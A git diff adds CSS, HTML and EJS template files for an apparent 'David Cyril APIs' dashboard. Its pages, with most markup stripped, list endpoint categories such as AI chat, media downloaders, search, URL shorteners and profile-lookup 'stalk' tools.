rgb(16, 137, 211) 0%, rgb(18, 177, 209) 100%); + color: white; + padding-block: 15px; + margin: 20px auto; + border-radius: 20px; + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 20px 10px -15px; + border: none; + transition: all 0.2s ease-in-out; +} + +button:hover { + transform: scale(1.03); + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 23px 10px -20px; +} + +button:active { + transform: scale(0.95); + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 15px 10px -10px; +} + +p { + text-align: center; + margin-top: 10px; +} + +p a { + color: #0099ff; + text-decoration: none; +} + +p a:hover { + text-decoration: underline; +} \ No newline at end of file diff --git a/public/css/login.css.bak b/public/css/login.css.bak new file mode 100644 index 0000000000000000000000000000000000000000..fc2f5b45db1b2eea5dbfa43059e3018ca67b6eec --- /dev/null +++ b/public/css/login.css.bak @@ -0,0 +1,158 @@ +body { + font-family: Arial, sans-serif; + background-color: #f4f4f4; + margin: 0; + padding: 0; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; +} + +.container { + max-width: 350px; + background: #F8F9FD; + background: linear-gradient(0deg, rgb(255, 255, 255) 0%, rgb(244, 247, 251) 100%); + border-radius: 40px; + padding: 25px 35px; + border: 5px solid rgb(255, 255, 255); + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 30px 30px -20px; + margin: 20px; +} + +.heading { + text-align: center; + font-weight: 900; + font-size: 30px; + color: rgb(16, 137, 211); +} + +.form { + margin-top: 20px; +} + +.form .input { + width: 100%; + background: white; + border: none; + padding: 15px 20px; + border-radius: 20px; + margin-top: 15px; + box-shadow: #cff0ff 0px 10px 10px -5px; + border-inline: 2px solid transparent; +} + +.form .input::placeholder { + color: rgb(170, 170, 170); +} + +.form .input:focus { + outline: none; + border-inline: 2px solid #12B1D1; +} + +.form .forgot-password { + display: block; + margin-top: 10px; + margin-left: 10px; +} + +.form .forgot-password a { + font-size: 11px; + color: #0099ff; + text-decoration: none; +} + +.form .login-button { + display: block; + width: 100%; + font-weight: bold; + background: linear-gradient(45deg, rgb(16, 137, 211) 0%, rgb(18, 177, 209) 100%); + color: white; + padding-block: 15px; + margin: 20px auto; + border-radius: 20px; + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 20px 10px -15px; + border: none; + transition: all 0.2s ease-in-out; +} + +.form .login-button:hover { + transform: scale(1.03); + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 23px 10px -20px; +} + +.form .login-button:active { + transform: scale(0.95); + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 15px 10px -10px; +} + +.error { + color: red; + font-size: 14px; + margin-bottom: 10px; + text-align: center; +} + +.success { + color: green; + font-size: 14px; + margin-bottom: 10px; + text-align: center; +} + +.social-account-container { + margin-top: 25px; +} + +.social-account-container .title { + display: block; + text-align: center; + font-size: 10px; + color: rgb(170, 170, 170); +} + +.social-account-container .social-accounts { + width: 100%; + display: flex; + justify-content: center; + gap: 15px; + margin-top: 5px; +} + +.social-account-container .social-accounts .social-button { + background: linear-gradient(45deg, rgb(0, 0, 0) 0%, rgb(112, 112, 112) 100%); + border: 5px solid white; + padding: 5px; + border-radius: 50%; + width: 40px; + aspect-ratio: 1; + display: grid; + place-content: center; + box-shadow: rgba(133, 189, 215, 0.8784313725) 0px 12px 10px -8px; + transition: all 0.2s ease-in-out; +} + +.social-account-container .social-accounts .social-button:hover { + transform: scale(1.2); +} + +.social-account-container .social-accounts .social-button:active { + transform: scale(0.9); +} + +.agreement { + display: block; + text-align: center; + margin-top: 15px; +} + +.agreement a { + text-decoration: none; + color: #0099ff; + font-size: 9px; +} + +.agreement a:hover { + text-decoration: underline; +} \ No newline at end of file diff --git a/public/css/register.css b/public/css/register.css new file mode 100644 index 0000000000000000000000000000000000000000..ecc4958d22aa56d1062e5cc3b39e79f5c155ba9d --- /dev/null +++ b/public/css/register.css @@ -0,0 +1,99 @@ +body { + font-family: Arial, sans-serif; + background-color: #f4f4f4; + margin: 0; + padding: 0; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; +} + +.container { + background: white; + padding: 20px 30px; + border-radius: 10px; + box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); + width: 100%; + max-width: 400px; +} + +h1 { + text-align: center; + color: #333; + margin-bottom: 20px; +} + +#messages { + margin-bottom: 20px; +} + +.error-message { + background-color: #f8d7da; + color: #721c24; + padding: 10px; + border: 1px solid #f5c6cb; + border-radius: 5px; + margin-bottom: 10px; + text-align: center; +} + +.success-message { + background-color: #d4edda; + color: #155724; + padding: 10px; + border: 1px solid #c3e6cb; + border-radius: 5px; + margin-bottom: 10px; + text-align: center; +} + +.form { + display: flex; + flex-direction: column; +} + +label { + margin-bottom: 5px; + font-weight: bold; +} + +input { + margin-bottom: 15px; + padding: 10px; + font-size: 16px; + border: 1px solid #ccc; + border-radius: 5px; +} + +input:focus { + border-color: #007BFF; + outline: none; +} + +button { + padding: 10px; + font-size: 16px; + color: white; + background-color: #007BFF; + border: none; + border-radius: 5px; + cursor: pointer; +} + +button:hover { + background-color: #0056b3; +} + +p { + text-align: center; +} + +p a { + color: #007BFF; + text-decoration: none; +} + +p a:hover { + text-decoration: underline; +} \ No newline at end of file diff --git a/public/css/register.css.bak b/public/css/register.css.bak new file mode 100644 index 0000000000000000000000000000000000000000..2bf1f0c7093ae6c8a003d7cc44ef11b5f2d8274e --- /dev/null +++ b/public/css/register.css.bak @@ -0,0 +1,94 @@ +body { + font-family: Arial, sans-serif; + background-color: #f4f4f4; + margin: 0; + padding: 0; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; +} + +.container { + background: white; + padding: 20px 30px; + border-radius: 10px; + box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); + width: 100%; + max-width: 400px; +} + +h1 { + text-align: center; + color: #333; + margin-bottom: 20px; +} + +#messages { + margin: 10px 0; + text-align: center; +} + +.error { + color: red; + font-size: 14px; + margin-bottom: 10px; + text-align: center; +} + +.success { + color: green; + font-size: 14px; + margin-bottom: 10px; + text-align: center; +} + +.form { + display: flex; + flex-direction: column; +} + +label { + margin-bottom: 5px; + font-weight: bold; +} + +input { + margin-bottom: 15px; + padding: 10px; + font-size: 16px; + border: 1px solid #ccc; + border-radius: 5px; +} + +input:focus { + border-color: #007BFF; + outline: none; +} + +button { + padding: 10px; + font-size: 16px; + color: white; + background-color: #007BFF; + border: none; + border-radius: 5px; + cursor: pointer; +} + +button:hover { + background-color: #0056b3; +} + +p { + text-align: center; +} + +p a { + color: #007BFF; + text-decoration: none; +} + +p a:hover { + text-decoration: underline; +} \ No newline at end of file diff --git a/public/docs/background-music.mp3 b/public/docs/background-music.mp3 new file mode 100644 index 0000000000000000000000000000000000000000..f75f58ec7db65932e12f8786e73c5a4add5d79aa --- /dev/null +++ b/public/docs/background-music.mp3 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1eda02e87bcb53c93a0e8d501cb142e9d555cd46676452b401ee03816631d52b +size 2738469 diff --git a/public/docs/docs.html b/public/docs/docs.html new file mode 100644 index 0000000000000000000000000000000000000000..2bad87b549324c787c53418af17af39582e24708 --- /dev/null +++ b/public/docs/docs.html @@ -0,0 +1,467 @@ + + + + + + + DAVID CYRIL APIs Dashboard + + + + + + + + + + +
+ +
+ + +
+
+ +
+
+
+ DAVID CYRIL APIs Logo +
+ + +
+

+ Welcome to David Cyril API! +

+

Explore our WhatsApp API solutions.

+ + +
+ +
+
+
+
+
+ + +
+ +
+ +
+ + +
+ +
+ +
+
+ + +
+

AI

+

Artificial Intelligence Endpoints

+ + TEST + +
+
+
+ + +
+

Downloaders

+

Media Downloader Endpoints

+ + TEST + +
+
+
+ + +
+

Tools

+

Tools Endpoints

+ + TEST + +
+
+
+ + +
+

Random

+

Random Api Endpoints

+ + TEST + +
+
+
+ + +
+

Fun

+

Fun Endpoints

+ + TEST + +
+
+
+ + +
+

Stalk

+

Stalk Endpoints

+ + TEST + +
+
+
+ + + + + +
+

+ © 2024 - 2099 David Cyril Tech. All rights reserved. +
+ Created With By David Cyril + + +

+
+ + + + + + + + + + diff --git a/public/docs/docs.html.bak b/public/docs/docs.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..2119e3425a0f20261c3203f4dc3f805141125141 --- /dev/null +++ b/public/docs/docs.html.bak @@ -0,0 +1,462 @@ + + + + + + + DAVID CYRIL APIs Dashboard + + + + + + + + + + +
+ +
+ + +
+
+ +
+
+
+ DAVID CYRIL APIs Logo +
+ + +
+

+ Welcome to David Cyril API! +

+

Explore our WhatsApp API solutions.

+ + +
+ +
+
+
+
+
+ + +
+ +
+ +
+ + +
+ +
+ +
+
+ + +
+

AI

+

Artificial Intelligence Endpoints

+ + TEST + +
+
+
+ + +
+

Downloaders

+

Media Downloader Endpoints

+ + TEST + +
+
+
+ + +
+

Tools

+

Tools Endpoints

+ + TEST + +
+
+
+ + +
+

Fun

+

Fun Endpoints

+ + TEST + +
+

Random

+

Random Stuffs

+ + TEST + + +
+
+ + +
+

Stalk

+

Stalk Endpoints

+ + TEST + +
+
+
+ + + + + +
+

+ © 2024 - 2099 David Cyril Tech. All rights reserved. +
+ Created With By David Cyril + + +

+
+ + + + + + + + + + diff --git a/public/docs/index.html b/public/docs/index.html new file mode 100644 index 0000000000000000000000000000000000000000..2640b813cb4282ca30d8fdea6559dec96388223e --- /dev/null +++ b/public/docs/index.html @@ -0,0 +1,6 @@ + diff --git a/public/docs/index.html.bak b/public/docs/index.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..58b12b678612e43994997944d43c17c70fb67022 --- /dev/null +++ b/public/docs/index.html.bak @@ -0,0 +1,511 @@ + + + + + + + DAVID CYRIL APIs Dashboard + + + + + + + + + + +
+
+ Credits +
+
+ + +
+
+ +
+
+
+ DAVID CYRIL APIs Logo +
+ + +
+

+ Welcome to David Cyril API! +

+

Explore our WhatsApp API solutions.

+ + +
+ +
+
+
+
+
+ + +
+ +
+ +
+ + +
+ +
+ +
+
+ + +
+

AI

+

Artificial Intelligence Endpoints

+ + TEST + +
+
+
+ + +
+

Downloaders

+

Media Downloader Endpoints

+ + TEST + +
+
+
+ + +
+

Tools

+

Tools Endpoints

+ + TEST + +
+
+
+ + +
+

Random

+

Random Api Endpoints

+ + TEST + +
+
+
+ + +
+

Fun

+

Fun Endpoints

+ + TEST + +
+
+
+ + +
+

Search

+

Search Endpoints

+ + TEST + +
+
+
+ + +
+

Stalk

+

Stalk Endpoints

+ + TEST + +
+
+
+ + +
+

Url-Shorteners

+

Url Shorteners Endpoints

+ + TEST + +
+
+
+ + +
+

NSFW

+

NSFW Endpoints

+ + TEST + +
+
+
+ + +
+

MOVIES

+

Movies Endpoints

+ + TEST + +
+
+
+ + + + + +
+

+ © 2024 - 2099 David Cyril Tech. All rights reserved. +
+ Created With By David Cyril + + +

+
+ + + + + + + + + + diff --git a/public/endpoints/8800950.tmp b/public/endpoints/8800950.tmp new file mode 100644 index 0000000000000000000000000000000000000000..7ed2db29e179976360cd4ce23ce4ad05ccd5468c --- /dev/null +++ b/public/endpoints/8800950.tmp @@ -0,0 +1,183 @@ + + + + + + Docs - Movies + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 2 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
SinhalaSub Search + +
SinhalaSub Download + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + + + + diff --git a/public/endpoints/ai.html.bak b/public/endpoints/ai.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..93341dc6801ab43d3fb04ce219d9fb9821b657bf --- /dev/null +++ b/public/endpoints/ai.html.bak @@ -0,0 +1,427 @@ + + + + + Docs - AI Endpoints + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 13 +
+
+
+
+
Inactive
+ 1 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Chatgpt + +
Blackbox + +
Llama3 + +
Deepseek-v3 + +
Deepseek-llm-67b-chat + +
deepseek-r1 + +
Metaai + +
Gpt3 + +
Gpt4omini + +
Gpt4 + +
Claude + +
ClaudeSonnet + +
Uncensored Ai + +
Pixtral + +
Gemma + +
QVQ 72B Preview + +
Mixtral + +
Wizardlm + +
Queen2 + +
Simi + +
Lori Ai + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + + + + diff --git a/public/endpoints/download.html b/public/endpoints/download.html new file mode 100644 index 0000000000000000000000000000000000000000..07f4961e22e40794a80129988df6c5f65f82b485 --- /dev/null +++ b/public/endpoints/download.html @@ -0,0 +1,396 @@ + + + + + Docs - Downloaders + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 14 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Play + +
Song + +
Ytmp3 + +
Ytmp4 + +
Facebook + +
Facebook V2 + +
YouTube Mp3 + +
YouTube Mp4 + +
Instagram + +
TikTok + +
MediaFire + +
Twitter / X + +
Spotify + +
All in One + +
Apk + +
Google Drive + +
Xvideo + +
Xnxx + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + + + + diff --git a/public/endpoints/download.html.bak b/public/endpoints/download.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..f56a3877d365bcd7dabaea650b9e5bd839db2fab --- /dev/null +++ b/public/endpoints/download.html.bak @@ -0,0 +1,384 @@ + + + + + Docs - Downloaders + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 14 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Ytmp3 + +
Ytmp4 + +
Facebook + +
Facebook V2 + +
YouTube Mp3 + +
YouTube Mp4 + +
Instagram + +
TikTok + +
MediaFire + +
Twitter / X + +
Spotify + +
All in One + +
Apk + +
Google Drive + +
Xvideo + +
Xnxx + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + + + + diff --git a/public/endpoints/fun.html b/public/endpoints/fun.html new file mode 100644 index 0000000000000000000000000000000000000000..90cf623463aa48f12ab3d7ef476a3026c93b0441 --- /dev/null +++ b/public/endpoints/fun.html @@ -0,0 +1,318 @@ + + + + + Docs - FUN + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 5 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Truth + +
Dare + +
Pickup Lines + +
Facts + +
Couple PP + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/fun.html.bak b/public/endpoints/fun.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..4ef7771b03cc226ea5672696d3a4ae97f7a10ca8 --- /dev/null +++ b/public/endpoints/fun.html.bak @@ -0,0 +1,318 @@ + + + + + Docs - FUN + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 5 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Truth + +
Dare + +
Pickup Lines + +
Facts + +
Couple PP + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/movies.html b/public/endpoints/movies.html new file mode 100644 index 0000000000000000000000000000000000000000..0eb1b6436370398c1269593a998468929cb44d35 --- /dev/null +++ b/public/endpoints/movies.html @@ -0,0 +1,332 @@ + + + + + + Docs - Movies + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 2 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
SinhalaSub Search + +
SinhalaSub Download + +
SinhalaSub Download + +
Zoom Search + +
Zoom Download + +
Pirate Search + +
Pirate Download + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + diff --git a/public/endpoints/movies.html.bak b/public/endpoints/movies.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..ca56949ba863608da0ab8f4825b10b308036c19c --- /dev/null +++ b/public/endpoints/movies.html.bak @@ -0,0 +1,303 @@ + + + + + + Docs - Movies + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 2 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
SinhalaSub Search + +
SinhalaSub Download + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/random.html b/public/endpoints/random.html new file mode 100644 index 0000000000000000000000000000000000000000..46664bc3048d51470fe11e8d13c7e02231e61e40 --- /dev/null +++ b/public/endpoints/random.html @@ -0,0 +1,319 @@ + + + + + Docs - Downloaders + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 4 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Waifu + +
Random Hentai + +
Quotes + +
Bored + +
Tech News + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + + + + diff --git a/public/endpoints/random.html.bak b/public/endpoints/random.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..d9c9c1157d35f3af097536139bc4fab2895d0a50 --- /dev/null +++ b/public/endpoints/random.html.bak @@ -0,0 +1,319 @@ + + + + + Docs - Downloaders + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 4 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Waifu + +
Random Hentai + +
Quotes + +
Bored + +
Tech News + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + + + + diff --git a/public/endpoints/search.html b/public/endpoints/search.html new file mode 100644 index 0000000000000000000000000000000000000000..b558fe0b7976167b2d367b5f01fe3389cd4525f3 --- /dev/null +++ b/public/endpoints/search.html @@ -0,0 +1,381 @@ + + + + + Docs - Stalk + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 10 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Wallpapers + +
YouTube Search + +
Lyrics + +
Lyrics V2 + +
Lyrics V3 + +
Playstore + +
Xvideo Search + +
Xnxx Search + +
Spotify V1 + +
Spotify V2 + +
SoundCloud Search + +
Pinterest Search + +
Emoji + +
Steam Search + +
Sticker Search + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + diff --git a/public/endpoints/search.html.bak b/public/endpoints/search.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..742d62af6f15b7ec9dfd62f4c3b146bd5e22918b --- /dev/null +++ b/public/endpoints/search.html.bak @@ -0,0 +1,355 @@ + + + + + Docs - Stalk + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 10 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Wallpapers + +
YouTube Search + +
Playstore + +
Xvideo Search + +
Xnxx Search + +
Spotify Search + +
SoundCloud Search + +
Pinterest Search + +
Emoji + +
Steam Search + +
Sticker Search + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/stalk.html b/public/endpoints/stalk.html new file mode 100644 index 0000000000000000000000000000000000000000..19483aa727e0a3517343ec3158acec39bb189242 --- /dev/null +++ b/public/endpoints/stalk.html @@ -0,0 +1,307 @@ + + + + + Docs - Stalk + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 3 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Tiktok Stalk + +
GitHub Stalk + +
FreeFire Stalk + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/stalk.html.bak b/public/endpoints/stalk.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..3eae319d7143eddd901cd9cc39c9073e06b64100 --- /dev/null +++ b/public/endpoints/stalk.html.bak @@ -0,0 +1,307 @@ + + + + + Docs - Stalk + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 3 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Tiktok Stalk + +
GitHub Stalk + +
FreeFire Stalk + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/tools.html b/public/endpoints/tools.html new file mode 100644 index 0000000000000000000000000000000000000000..6a6ead572b56c778e0622e3a209b0bea99e950fb --- /dev/null +++ b/public/endpoints/tools.html @@ -0,0 +1,436 @@ + + + + + Docs - Tools + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 13 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Image Scan + +
Remini + +
Text2Speech + +
JS Obfuscator + +
Voice Ai + +
SSWEB + +
Google Translate + +
Text2pdf + +
IMDB + +
Weather + +
Temp Mail + +
Temp-Mail Inbox + +
Stable Diffusion + +
Flux + +
Flux Pro + +
DALL·E + +
Image Search + +
Quran + +
Bible + +
Book Generator + +
Qr Code Generator + +
Calculator + +
Remove Background + +
Currency Converter + +
List Currencies + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + diff --git a/public/endpoints/tools.html.bak b/public/endpoints/tools.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..19df7c2f41e7ed4654b416e3b87938cc4553f226 --- /dev/null +++ b/public/endpoints/tools.html.bak @@ -0,0 +1,419 @@ + + + + + Docs - Tools + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 13 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Image Scan + +
Lyrics + +
Lyrics V2 + +
Remini + +
Text2Speech + +
Voice Ai + +
SSWEB + +
Google Translate + +
Text2pdf + +
IMDB + +
Weather + +
Stable Diffusion + +
Flux + +
DALL·E + +
Image Search + +
Quran + +
Bible + +
Qr Code Generator + +
Calculator + +
Remove Background + +
Currency Converter + +
List Currencies + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/urlshortener.html b/public/endpoints/urlshortener.html new file mode 100644 index 0000000000000000000000000000000000000000..c47ede942bfca565348b6e0b9ff1287bd85bf603 --- /dev/null +++ b/public/endpoints/urlshortener.html @@ -0,0 +1,318 @@ + + + + + Docs - URL-Shortner + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 5 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Tinyurl + +
David Cyril + +
ShortenUrl + +
Cutly + +
Bitly + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/endpoints/urlshortener.html.bak b/public/endpoints/urlshortener.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..f74d19430f52903d04c85e76b0f57ed01e9a9bda --- /dev/null +++ b/public/endpoints/urlshortener.html.bak @@ -0,0 +1,318 @@ + + + + + Docs - URL-Shortner + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + + + +
+ +
+
+
+ + + +
+ + + + + + + + + + + + + + + + + +

Total Requests


+
+
+
+
+ +
+
+
+

Collection

+ + +
+
+
+
+
Active
+ 5 +
+
+
+
+
Inactive
+ 0 +
+
+
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameAction
Tinyurl + +
David Cyril + +
ShortenUrl + +
Cutly + +
Bitly + +
+
+

+

Folders

+ +

+ +

+

Navigation

+
+ + + + + \ No newline at end of file diff --git a/public/html/dashboard.html b/public/html/dashboard.html new file mode 100644 index 0000000000000000000000000000000000000000..742187a43db5024f86cb582c5966f1e09c6d06ff --- /dev/null +++ b/public/html/dashboard.html @@ -0,0 +1,25 @@ + + + + + + Dashboard + + + +
+

Welcome, !

+

This is your dashboard.

+ Logout +
+ + + + \ No newline at end of file diff --git a/public/html/login.html b/public/html/login.html new file mode 100644 index 0000000000000000000000000000000000000000..3c6997b4a0235325be58e1502d46d8ad21302dd8 --- /dev/null +++ b/public/html/login.html @@ -0,0 +1,33 @@ + + + + + + Login + + + +
+

Login

+ +
+ <% if (req.query.error) { %> +

<%= req.query.error %>

+ <% } %> + <% if (req.query.success) { %> +

<%= req.query.success %>

+ <% } %> +
+
+ + + + + + + +
+

Don't have an account? Register

+
+ + \ No newline at end of file diff --git a/public/html/login.html.bak b/public/html/login.html.bak new file mode 100644 index 0000000000000000000000000000000000000000..e9408b7252c453640b67fa0d9bf35965c2c9291a --- /dev/null +++ b/public/html/login.html.bak @@ -0,0 +1,33 @@ + + + + + + Login + + + +
+

Login

+ +
+

+ <% if (req.query.error) { %><%= req.query.error %><% } %> +

+

+ <% if (req.query.success) { %><%= req.query.success %><% } %> +

+
+
+ + + + + + + +
+

Don't have an account? Register

+
+ + \ No newline at end of file diff --git a/public/html/register.html b/public/html/register.html new file mode 100644 index 0000000000000000000000000000000000000000..9cc907dcd6a9aa950e413ee8c5b375437aed9c00 --- /dev/null +++ b/public/html/register.html @@ -0,0 +1,39 @@ + + + + + + Register + + + +
+

Register

+ + +
+ <% if (error.length) { %> +
+ <%= error %> +
+ <% } %> + <% if (success.length) { %> +
+ <%= success %> +
+ <% } %> +
+ +
+ + + + + + + +
+

Already have an account? Login

+
